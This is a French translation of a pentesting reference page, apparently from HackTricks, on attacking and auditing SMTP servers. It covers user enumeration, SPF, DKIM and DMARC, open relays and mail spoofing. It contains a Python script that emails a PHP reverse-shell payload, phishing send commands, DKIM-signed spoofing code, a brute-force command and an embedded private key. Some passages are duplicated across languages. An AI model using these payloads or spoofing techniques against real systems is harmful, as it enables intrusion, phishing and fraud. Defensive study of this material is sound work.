## **Informations de base**

**SMTP (Simple Mail Transfer Protocol)** est un protocole TCP/IP utilisé pour **envoyer** et recevoir des **e-mails**. Cependant, étant donné qu'il est limité dans sa capacité à mettre en file d'attente les messages à l'extrémité de réception, il est généralement utilisé avec l'un des deux autres protocoles, POP3 ou IMAP, qui permettent à l'utilisateur de sauvegarder les messages dans une boîte aux lettres du serveur et de les télécharger périodiquement à partir du serveur.

En d'autres termes, les **utilisateurs utilisent généralement** un programme qui utilise **SMTP pour envoyer des e-mails** et soit **POP3 ou IMAP pour recevoir** des e-mails. Sur les systèmes basés sur Unix, **sendmail** est le serveur SMTP le plus largement utilisé pour les e-mails. Un package commercial, Sendmail, inclut un serveur POP3. **Microsoft Exchange** inclut un serveur SMTP et peut également être configuré pour inclure le support POP3.\
À partir de [ici](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).

**Port par défaut:** 25,465(ssl),587(ssl)
```
PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
```
### En-têtes de courrier électronique

Si vous avez l'opportunité de **faire envoyer un courrier électronique à la victime** (par exemple via le formulaire de contact de la page web), faites-le car **vous pourriez en apprendre davantage sur la topologie interne** de la victime en regardant les en-têtes du courrier.

Vous pouvez également obtenir un courrier électronique à partir d'un serveur SMTP en essayant de **lui envoyer un courrier électronique à une adresse inexistante** (car le serveur enverra au pirate un courrier électronique NDN). Mais assurez-vous d'envoyer le courrier électronique à partir d'une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.

Vous devriez également essayer d'**envoyer différents contenus car vous pouvez trouver des informations plus intéressantes** dans les en-têtes comme : `X-Virus-Scanned: by av.domain.com`\
Vous devriez envoyer le fichier de test EICAR.\
La détection de l'**AV** peut vous permettre d'exploiter des **vulnérabilités connues.**

## Actions de base

### **Banner Grabbing/Connexion de base**

**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:

SMTPS est une version sécurisée de SMTP qui utilise SSL/TLS pour chiffrer les communications entre le client et le serveur. Le port par défaut pour SMTPS est 465. Pour tester la sécurité de SMTPS, vous pouvez utiliser des outils tels que `openssl` pour établir une connexion SSL/TLS avec le serveur et envoyer des commandes SMTP.
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Trouver les serveurs MX d'une organisation

To perform SMTP pentesting, we need to know the mail servers of the target organisation. The DNS (Domain Name System) is used to resolve the domain name to its IP address. The MX (Mail Exchange) record is used to specify the mail server responsible for accepting email messages on behalf of the domain. We can use the `nslookup` command to find the MX records of the target domain.

Pour effectuer un pentest SMTP, nous devons connaître les serveurs de messagerie de l'organisation cible. Le DNS (Domain Name System) est utilisé pour résoudre le nom de domaine en adresse IP. L'enregistrement MX (Mail Exchange) est utilisé pour spécifier le serveur de messagerie responsable de l'acceptation des messages électroniques au nom du domaine. Nous pouvons utiliser la commande `nslookup` pour trouver les enregistrements MX du domaine cible.
```bash
dig +short mx google.com
```
### Énumération
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Divulgation d'informations

Si le serveur prend en charge l'authentification NTLM (Windows), vous pouvez obtenir des informations sensibles (versions). Plus d'informations [**ici**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587 
220 example.com SMTP Server Banner 
>> HELO 
250 example.com Hello [x.x.x.x] 
>> AUTH NTLM 334 
NTLM supported 
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Ou **automatisez** cela avec le plugin **nmap** `smtp-ntlm-info.nse`

### Nom du serveur interne - Divulgation d'informations

Certains serveurs SMTP complètent automatiquement l'adresse de l'expéditeur lorsqu'une commande "MAIL FROM" est émise sans adresse complète, divulguant ainsi son nom interne :
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200 
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing

Vérifiez si vous avez capturé un mot de passe à partir des paquets envoyés au port 25.

### [Bruteforce d'authentification](../../generic-methodologies-and-resources/brute-force.md#smtp)

## Énumération de bruteforce de nom d'utilisateur

**L'authentification n'est pas toujours nécessaire**

### RCPT TO
```bash
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY

VRFY est une commande SMTP qui permet de vérifier si un utilisateur existe sur un serveur de messagerie. Cette commande peut être utilisée par un attaquant pour collecter des informations sur les utilisateurs valides d'un système. En effet, si la commande renvoie une réponse positive, cela signifie que l'utilisateur existe sur le système. Les attaquants peuvent utiliser cette information pour cibler des utilisateurs spécifiques lors d'attaques de phishing ou de bruteforce. Il est recommandé de désactiver la commande VRFY sur les serveurs de messagerie pour éviter ce type d'attaque.
```
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
```
### EXPN

La commande EXPN est utilisée pour vérifier si une adresse e-mail donnée est valide et pour obtenir des informations sur le destinataire. Elle peut être utilisée pour obtenir des informations sur les utilisateurs d'un système de messagerie. Cependant, cette commande peut également être utilisée pour collecter des informations sensibles telles que les noms d'utilisateur et les adresses e-mail. Il est donc important de désactiver cette commande si elle n'est pas nécessaire.
```
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>
```
### Outils automatiques

Automatic tools can be used to enumerate usernames on SMTP servers. These tools typically work by connecting to the SMTP server and issuing VRFY or EXPN commands for a list of usernames. The server will respond with either a success message indicating that the user exists or a failure message indicating that the user does not exist. These tools can be very effective at quickly enumerating a large number of usernames.

Les outils automatiques peuvent être utilisés pour énumérer les noms d'utilisateur sur les serveurs SMTP. Ces outils fonctionnent généralement en se connectant au serveur SMTP et en émettant des commandes VRFY ou EXPN pour une liste de noms d'utilisateur. Le serveur répondra soit par un message de réussite indiquant que l'utilisateur existe, soit par un message d'échec indiquant que l'utilisateur n'existe pas. Ces outils peuvent être très efficaces pour énumérer rapidement un grand nombre de noms d'utilisateur.
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>

[**La Conférence de sécurité DragonJAR est un événement international de cybersécurité**](https://www.dragonjarcon.org/) qui a lieu depuis plus d'une décennie et se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

## Rapports DSN

**Delivery Status Notification Reports**: Si vous envoyez un **e-mail** à une organisation à une **adresse invalide**, l'organisation vous notifiera que l'adresse était invalide en envoyant un **e-mail de retour**. Les **en-têtes** de l'e-mail retourné **contiendront** des informations potentiellement **sensibles** (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur les logiciels antivirus).

## [Commandes](smtp-commands.md)

### Envoyer un e-mail depuis la console Linux
```
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,
```

```bash
 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Envoyer un e-mail avec Python

Voici une alternative pour envoyer un e-mail avec un script Python.
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = "" 
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload 
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
    print("[-]Connection Error")
    exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))
```
## Spoofing de courrier

La plupart de cette section a été extraite du livre **Network Security Assessment 3rd Edition**.

Les messages SMTP sont facilement falsifiés, c'est pourquoi les organisations utilisent les fonctionnalités **SPF**, **DKIM** et **DMARC** pour empêcher les parties d'envoyer des courriers électroniques non autorisés.

Un **guide complet de ces contre-mesures** peut être trouvé dans [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)

### SPF

{% hint style="danger" %}
SPF [a été "déprécié" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Cela signifie qu'au lieu de créer un **enregistrement TXT** dans `_spf.domain.com`, vous le créez dans `domain.com` en utilisant la **même syntaxe**.\
De plus, pour réutiliser les enregistrements spf précédents, il est courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

Le **Sender Policy Framework** (SPF) fournit un mécanisme qui permet aux MTAs de vérifier si un hôte envoyant un courrier électronique est autorisé.\
Ensuite, les organisations peuvent définir une liste de serveurs de messagerie autorisés et les MTAs peuvent interroger ces listes pour vérifier si le courrier électronique a été falsifié ou non.\
Afin de définir les adresses IP/plages, les domaines et autres qui sont **autorisés à envoyer des courriers électroniques au nom d'un nom de domaine**, différents "**Mécanismes**" peuvent apparaître dans le registre SPF.

#### Mécanismes

| Mécanisme | Description                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Correspond toujours ; utilisé pour un résultat par défaut comme `-all` pour toutes les adresses IP qui ne correspondent pas aux mécanismes précédents.                                                                                                                                                                                                                                  |
| A         | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra.                                                                                                                                                                                                                   |
| IP4       | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondance.                                                                                                                                                                                                                                                                              |
| IP6       | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondance.                                                                                                                                                                                                                                                                              |
| MX        | Si le nom de domaine a un enregistrement MX résolvant l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de courrier entrant du domaine).                                                                                                                                                                          |
| PTR       | Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inverse confirmé par avance), correspondance. Ce mécanisme est découragé et doit être évité, si possible.                                                                                     |
| EXISTS    | Si le nom de domaine donné se résout à une adresse quelconque, correspondance (peu importe l'adresse à laquelle il se résout). Ceci est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL.                                                                                                                           |
| INCLUDE   | Référence la politique d'un autre domaine. Si la politique de ce domaine est acceptée, ce mécanisme est accepté. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer complètement à la politique d'un autre domaine, l'extension de redirection doit être utilisée.                                                                                     |
| REDIRECT  | <p>Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lorsqu'on travaille avec un grand nombre de domaines qui partagent la même infrastructure de messagerie électronique.</p><p>La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.</p> |

Il est également possible d'identifier des **Qualificateurs** qui indiquent **ce qui doit être fait si un mécanisme correspond**. Par défaut, le **qualificateur "+"** est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).\
Vous remarquerez généralement **à la fin de chaque politique SPF** quelque chose comme : **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer le courrier électronique comme non fiable (\~) ou rejeter (-) le courrier électronique.**

#### Qualificateurs

Chaque mécanisme peut être combiné avec l'un des quatre qualificateurs suivants :

* **`+`** pour un résultat PASS. Cela peut être omis ; par exemple, `+mx` est identique à `mx`.
* **`?`** pour un résultat NEUTRAL interprété comme NONE (aucune politique).
* **`~`** (tilde) pour SOFTFAIL, une aide au débogage entre NEUTRAL et FAIL. En général, les messages qui renvoient un SOFTFAIL sont acceptés mais étiquetés.
* **`-`** (moins) pour FAIL, le courrier doit être rejeté (voir ci-dessous).

Dans l'exemple suivant, vous pouvez lire la **politique SPF de google.com**. Notez comment la **première politique SPF inclut les politiques SPF d'autres domaines :**
```shell-session
kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct ou inexistant. De nos jours, si un e-mail provient d'un domaine sans enregistrement SPF valide, il sera probablement rejeté/marqué comme non fiable automatiquement.

Pour vérifier le SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)

### DKIM

DomainKeys Identified Mail (DKIM) est un mécanisme par lequel les e-mails sortants sont signés et validés par des MTA étrangers lors de la récupération de la clé publique d'un domaine via DNS. La clé publique DKIM est contenue dans un enregistrement TXT pour un domaine ; cependant, vous devez connaître à la fois le sélecteur et le nom de domaine pour la récupérer.

Ensuite, pour demander la clé, vous avez besoin du nom de domaine et du sélecteur de l'e-mail à partir de l'en-tête de l'e-mail `DKIM-Signature`, par exemple : `d=gmail.com;s=20120113`
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) est une méthode d'authentification de courrier électronique qui étend SPF et DKIM. Les politiques indiquent aux serveurs de messagerie comment traiter les e-mails pour un domaine donné et signalent les actions effectuées.

![](<../../.gitbook/assets/image (134).png>)

**Pour obtenir l'enregistrement DMARC, vous devez interroger le sous-domaine \_dmarc**
```shell-session
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\; 
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\; 
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
```
PayPal et Yahoo donnent des instructions aux serveurs de messagerie pour rejeter les messages qui contiennent des signatures DKIM invalides ou qui ne proviennent pas de leurs réseaux. Des notifications sont ensuite envoyées aux adresses e-mail respectives de chaque organisation. Google est configuré de manière similaire, bien qu'il donne des instructions aux serveurs de messagerie pour mettre en quarantaine les messages et ne pas les rejeter directement.

#### Balises DMARC

| Nom de la balise | Objectif                                       | Exemple                         |
| ---------------- | --------------------------------------------- | ------------------------------- |
| v                | Version du protocole                           | v=DMARC1                        |
| pct              | Pourcentage de messages soumis à un filtrage  | pct=20                          |
| ruf              | URI de notification pour les rapports d'analyse | ruf=mailto:authfail@example.com |
| rua              | URI de notification pour les rapports agrégés  | rua=mailto:aggrep@example.com   |
| p                | Politique pour le domaine organisationnel      | p=quarantine                    |
| sp               | Politique pour les sous-domaines du DO         | sp=reject                       |
| adkim            | Mode d'alignement pour DKIM                     | adkim=s                         |
| aspf             | Mode d'alignement pour SPF                      | aspf=r                          |

### **Et les sous-domaines ?**

**À partir de** [**ici**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Vous devez avoir des enregistrements SPF distincts pour chaque sous-domaine à partir duquel vous souhaitez envoyer des e-mails.\
Le texte suivant a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce genre de choses.

> La question du démon : Et les sous-domaines ?
>
> Si je reçois un e-mail de pielovers.demon.co.uk et qu'il n'y a pas de données SPF pour pielovers, dois-je revenir d'un niveau et tester SPF pour demon.co.uk ? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client peut avoir sa propre politique. Il ne serait pas logique que la politique de Demon s'applique par défaut à tous ses clients ; si Demon veut le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine.
>
> Ainsi, le conseil aux éditeurs SPF est le suivant : vous devez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX.
>
> Les sites avec des enregistrements A ou MX génériques doivent également avoir un enregistrement SPF générique, de la forme : \* IN TXT "v=spf1 -all"

Cela a du sens - un sous-domaine peut très bien être dans un emplacement géographique différent et avoir une définition SPF très différente.

### **Relais ouvert**

Pour éviter que les e-mails envoyés ne soient filtrés par les filtres anti-spam et ne parviennent pas au destinataire, l'expéditeur peut utiliser un **serveur relais que le destinataire fait confiance**. Souvent, les administrateurs **n'ont pas examiné** les plages d'**adresses IP** qu'ils doivent **autoriser**. Cela entraîne une mauvaise configuration du serveur SMTP que nous trouvons encore souvent lors de tests de pénétration externes et internes. Par conséquent, ils **autorisent toutes les adresses IP** pour ne pas causer d'erreurs dans le trafic de messagerie électronique et ainsi ne pas perturber ou interrompre involontairement la communication avec les clients potentiels et actuels :
```shell-session
mynetworks = 0.0.0.0/0
```

```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Outils**

* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Vérifiez les erreurs de configuration SPF et DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenez automatiquement les configurations SPF et DMARC**

### Envoyer un e-mail falsifié

* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*

**Ou vous pouvez utiliser un outil:**

* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Si vous rencontrez une **erreur lors de l'utilisation de la bibliothèque python dkim** pour l'analyse de la clé, n'hésitez pas à utiliser celle-ci.\
**REMARQUE**: Il s'agit simplement d'une solution rapide pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl **ne peut pas être analysée par dkim**.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Cela enverra un message non signé
</strong><strong>mail("votre_email@gmail.com", "Sujet de test!", "hey! Ceci est un test", "De: administrateur@victime.com");
</strong></code></pre>
{% endtab %}

{% tab title="Python" %}
Il n'y a pas de code Python dans cette section.
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
	<body>
		<h3>This is a test, not a scam</h3>
		<br />
	</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
    dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}

### **Plus d'informations**

**Trouvez plus d'informations sur ces protections dans** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)

### **Autres indicateurs de phishing**

* L'âge du domaine
* Des liens pointant vers des adresses IP
* Des techniques de manipulation de liens
* Des pièces jointes suspectes (inhabituelles)
* Un contenu d'email cassé
* Des valeurs utilisées différentes de celles des en-têtes de courrier
* L'existence d'un certificat SSL valide et fiable
* La soumission de la page à des sites de filtrage de contenu Web

## Exfiltration via SMTP

**Si vous pouvez envoyer des données via SMTP** [**lisez ceci**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**

## Fichier de configuration

### Postfix

Généralement, si installé, dans `/etc/postfix/master.cf` contient des **scripts à exécuter** lorsque, par exemple, un nouvel e-mail est reçu par un utilisateur. Par exemple, la ligne `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` signifie que `/etc/postfix/filtering` sera exécuté si un nouvel e-mail est reçu par l'utilisateur mark.

Autres fichiers de configuration:
```
sendmail.cf
submit.cf
```
## Commandes Automatiques HackTricks
```
Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMTP
  Note: |
    SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

    https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
  Name: Banner Grab
  Description: Grab SMTP Banner
  Command: nc -vn {IP} 25

Entry_3:
  Name: SMTP Vuln Scan
  Description: SMTP Vuln Scan With Nmap
  Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
  Name: SMTP User Enum
  Description: Enumerate uses with smtp-user-enum
  Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
  Name: SMTPS Connect
  Description: Attempt to connect to SMTPS two different ways
  Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
  Name: Find MX Servers
  Description: Find MX servers of an organization
  Command: dig +short mx {Domain_Name}

Entry_7:
  Name: Hydra Brute Force
  Description: Need Nothing
  Command: hydra -P {Big_Passwordlist} {IP} smtp -V
  
Entry_8:
  Name: consolesless mfs enumeration
  Description: SMTP enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' 
    
```
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>

[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) qui a lieu depuis plus d'une décennie et se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de grande qualité technique où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant en suivant le lien ci-dessous et ne manquez pas cette grande conférence ! :

